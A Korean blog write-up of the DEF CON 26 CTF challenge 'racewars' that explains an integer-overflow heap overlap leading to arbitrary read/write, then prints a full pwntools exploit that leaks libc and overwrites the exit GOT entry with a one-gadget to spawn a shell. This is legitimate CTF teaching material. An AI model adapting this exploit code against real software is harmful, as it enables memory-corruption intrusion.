[defcon26] racewars

Write up/CTF 2019. 3. 25. 01:01
반응형

racewars



처음 푸는 defcon문제라 한껏 쫄아서 오디팅 열심히 해보고 익스까지 좀 시간이 걸렸던 문제다.

이 문제에서는 눈에 띄는 버그가 존재하지 않고 교묘하게 숨겨놓은 버그들의 체이닝으로 풀 수 있다.

첫 번째로 다음과 같은 코드가 존재한다.



사용자의 입력값으로부터 ooo_malloc을 수행해주는 것을 볼 수 있다.

해당 코드에선 취약점이 발생하지 않을 것처럼 보이지만 ooo_malloc내부에서 호출하는 custom_heap_malloc함수를 보면서 생각이 달라졌다.

만약 size가 0이 될 경우, 이후에 할당했을 때 주소를 가지게 되면서 이후 할당된 주소에 overlap된 만큼 r/w가 가능하게 된다.

즉, 0x20 * size를 했을 때 0이 되는 값을 찾으면 된다. 이 바이너리에서는 shl를 사용해 연산했으므로 아래와 같은 식이 구성된다.

(DWORD)(size << 5) == 0, 그러므로 대충 값을 2 << 30만해도 된다.


두번째로 다음과 같은 코드가 존재한다.

overlap된 메모리에서 변조가 일어나 byte0 구조체 변수를 음수로 변경할 수 있다면 아래의 a1->byte9[v2]에 의해 arbitrary r/w가 가능해진다. 그러므로 tires를 먼저 할당시켜준 후, transmission을 할당하면서 overlapping을 해준다면 음수로 변경이 가능해질 것이다.


이후에 arbitrary r/w가 주어졌으니 offset 계산을 위해 할당된 주소를 대충 구하고, puts와 같은 libc주소를 얻어온 후 이래저래 익스를 짜보면 아래와 같다.



from pwn import *

con = process("./racewars")

sl = con.sendlineafter

def tries(tr):
	sl("CHOICE: ", "1")
	sl("how many pairs of tires do you need?", str(tr))

def chassis():
	sl("CHOICE: ", "2")
	sl("eclipse\n", "1")

def engine():
	sl("CHOICE: ", "3")

def transmission(tr):
	sl("CHOICE: ", "4")
	sl("transmission? ", str(tr))

tries(536870912)
transmission(1)
chassis()
engine()

for i in xrange(1, 5):
	sl("CHOICE: ", "1")
	sl("CHOICE: ", str(i))
	sl(": ", str(0xffff))

# b *0x40155C
engine = ""
for i in range(8):
	sl("CHOICE: ", "4")
	sl("modify? ", str(-16 + i))
	con.recvuntil(" is ")
	engine += chr(int(con.recvuntil(",")[:-1]) & 0xff)
	sl("what?: ", "1")
	sl("set gear to ", "0")

engine = u64(engine)
# 0x21a9318 - 0x21a92e8
transmission = engine - 0x30 + 0x09

print "engine: {:016x}".format(engine)

binary = ELF("./racewars")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

puts_got = binary.got["puts"]
diff = transmission - puts_got - 1

puts = ""
for i in range(8):
	sl("CHOICE: ", "4")
	# b *0x401538
	sl("modify? ", str(-diff + i))
	con.recvuntil(" is ")
	puts += chr(int(con.recvuntil(",")[:-1]) & 0xff)
	sl("what?: ", "1")
	sl("set gear to ", "0")

puts = u64(puts)
exit_got = binary.got["exit"]
oneshot = puts - libc.symbols["puts"] + 0xf1147

print "puts: {:016x}".format(puts)
print "oneshot: {:016x}".format(oneshot)

diff = transmission - exit_got - 1

for i in range(8):
	sl("CHOICE: ", "4")
	# b *0x401538
	sl("modify? ", str(-diff + i))
	sl("what?: ", str(ord(p64(oneshot)[i])))
	sl("set gear to ", "1")

sl("CHOICE: ", "5")
sl("CHOICE: ", "1")
sl("need?\n", "1")

con.interactive()


'Write up > CTF' 카테고리의 다른 글

[Codegate 2019] writeup  (0) 2019.01.29
[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
블로그 이미지

KuroNeko_

KuroNeko

,